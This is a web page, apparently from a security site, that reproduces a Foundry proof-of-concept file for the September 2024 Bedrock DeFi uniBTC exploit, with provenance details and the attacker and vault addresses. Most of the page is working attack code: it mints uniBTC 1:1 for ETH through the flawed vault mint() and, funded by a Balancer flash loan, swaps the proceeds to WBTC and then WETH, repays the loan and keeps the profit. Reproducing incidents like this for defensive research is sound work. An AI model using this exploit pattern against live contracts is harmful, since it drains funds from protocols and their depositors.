Skip to content
THREATWIRE

Public reproduction file

src/test/2024-09/Bedrock_DeFi_exp.sol

Public reproduction file for dataset entry Bedrock_DeFi.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-09/Bedrock_DeFi_exp.sol154 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.13;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~1.7M US$
8// Attacker : https://etherscan.io/address/0x2bFB373017349820dda2Da8230E6b66739BE9F96
9// Attack Contract : https://etherscan.io/address/0x0C8da4f8B823bEe4D5dAb73367D45B5135B50faB
10// Created Attack Contract: https://etherscan.io/address/0x1E1d02D663228e5D47f1De64030B39632A3B787D
11// Vulnerable Contract : https://etherscan.io/address/0x047D41F2544B7F63A8e991aF2068a363d210d6Da
12// Attack Tx : https://etherscan.io/tx/0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940
14// @Info
15// Vulnerable Contract Code : https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code
16// L2417-2420, mint() function
18// @POC Author : [rotcivegaf](https://twitter.com/rotcivegaf)
20// Contrasts involved
21address constant uniBTC = 0x004E9C3EF86bc1ca1f0bB5C7662861Ee93350568;
22address constant WBTC = 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599;
23address constant uniV3Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
24address constant balancerVault = 0xBA12222222228d8Ba445958a75a0704d566BF2C8;
25address constant weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
27// Implementation: https://etherscan.io/address/0x702696b2aa47fd1d4feaaf03ce273009dc47d901#code
28address constant VulVault = 0x047D41F2544B7F63A8e991aF2068a363d210d6Da;
30contract Bedrock_DeFi_exp is Test {
31 address attacker = makeAddr("attacker");
32 Attacker attackerC;
34 function setUp() public {
35 vm.createSelectFork("mainnet", 20_836_584 - 1);
36 }
38 function testPoCMinimal() public {
39 // Borrow 200 ether to the attacker
40 vm.deal(attacker, 200e18);
42 // The attacker mint 200 ETH to 200 uniBTC
43 vm.startPrank(attacker);
44 IFS(VulVault).mint{value: 200e18}();
46 // The attacker received 200 uniBTC(~BTC) for 200 ETH
47 console.log("Final balance in uniBTC :", IFS(uniBTC).balanceOf(attacker));
48 }
50 function testPoCReplicate() public {
51 vm.startPrank(attacker);
52 attackerC = new Attacker();
54 attackerC.attack();
56 console.log("Final balance in WETH :", IFS(weth).balanceOf(attacker));
57 }
60contract Attacker {
61 address txSender;
63 function attack() external {
64 txSender = msg.sender;
66 IFS(uniBTC).approve(uniV3Router, type(uint256).max);
67 IFS(WBTC).approve(uniV3Router, type(uint256).max);
69 address[] memory tokens = new address[](1);
70 tokens[0] = weth;
71 uint256[] memory amounts = new uint256[](1);
72 amounts[0] = 30_800_000_000_000_000_000;
73 IFS(balancerVault).flashLoan(address(this), tokens, amounts, "");
74 }
76 function receiveFlashLoan(
77 address[] memory tokens,
78 uint256[] memory amounts,
79 uint256[] memory feeAmounts,
80 bytes memory userData
81 ) external {
82 IFS(weth).withdraw(amounts[0]);
83 IFS(VulVault).mint{value: address(this).balance}();
84 uint256 bal_uniBTC = IFS(uniBTC).balanceOf(address(this));
86 IFS.ExactInputSingleParams memory input = IFS.ExactInputSingleParams(
87 uniBTC, // address tokenIn;
88 WBTC, // address tokenOut;
89 500, // uint24 fee;
90 address(this), // address recipient;
91 block.timestamp, // uint256 deadline;
92 bal_uniBTC, // uint256 amountIn;
93 0, // uint256 amountOutMinimum;
94 0 // uint160 sqrtPriceLimitX96;
95 );
97 IFS(uniV3Router).exactInputSingle(input);
99 uint256 balWBTC = IFS(WBTC).balanceOf(address(this));
101 input = IFS.ExactInputSingleParams(
102 WBTC, // address tokenIn;
103 weth, // address tokenOut;
104 500, // uint24 fee;
105 address(this), // address recipient;
106 block.timestamp, // uint256 deadline;
107 balWBTC, // uint256 amountIn;
108 0, // uint256 amountOutMinimum;
109 0 // uint160 sqrtPriceLimitX96;
110 );
112 IFS(uniV3Router).exactInputSingle(input);
113 IFS(weth).transfer(balancerVault, amounts[0]);
115 uint256 bal_weth = IFS(weth).balanceOf(address(this));
116 IFS(weth).transfer(txSender, bal_weth);
117 }
119 receive() external payable {}
122interface IFS is IERC20 {
123 // balancerVault
124 function flashLoan(
125 address recipient,
126 address[] memory tokens,
127 uint256[] memory amounts,
128 bytes memory userData
129 ) external;
131 // WETH
132 function withdraw(
133 uint256 wad
134 ) external;
136 // Vulnerable Vault
137 function mint() external payable;
139 // Uniswap V3: SwapRouter
140 struct ExactInputSingleParams {
141 address tokenIn;
142 address tokenOut;
143 uint24 fee;
144 address recipient;
145 uint256 deadline;
146 uint256 amountIn;
147 uint256 amountOutMinimum;
148 uint160 sqrtPriceLimitX96;
149 }
151 function exactInputSingle(
152 ExactInputSingleParams calldata params
153 ) external payable returns (uint256 amountOut);

Analysis

Dataset entry

Public Foundry test for “Bedrock_DeFi” (2024-09-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

11 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x2bfb373017349820dda2da8230e6b66739be9f96

  • Attack Contract

    0x0c8da4f8b823bee4d5dab73367d45b5135b50fab

  • Vulnerable Contract

    0x047d41f2544b7f63a8e991af2068a363d210d6da

  • Vulnerable Contract

    0x702696b2aa47fd1d4feaaf03ce273009dc47d901

  • Attack Tx

    0x725f0d65340c859e0f64e72ca8260220c526c3e0ccde530004160809f6177940

File record

Name
Bedrock_DeFi
Path
src/test/2024-09/Bedrock_DeFi_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
a6625070addac7871678f8cad40c00d3c0eecb22
Language
Solidity
Size
155 lines
Date
2024-09-26
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-09/Bedrock_DeFi_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob a6625070addac7871678f8cad40c00d3c0eecb22, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.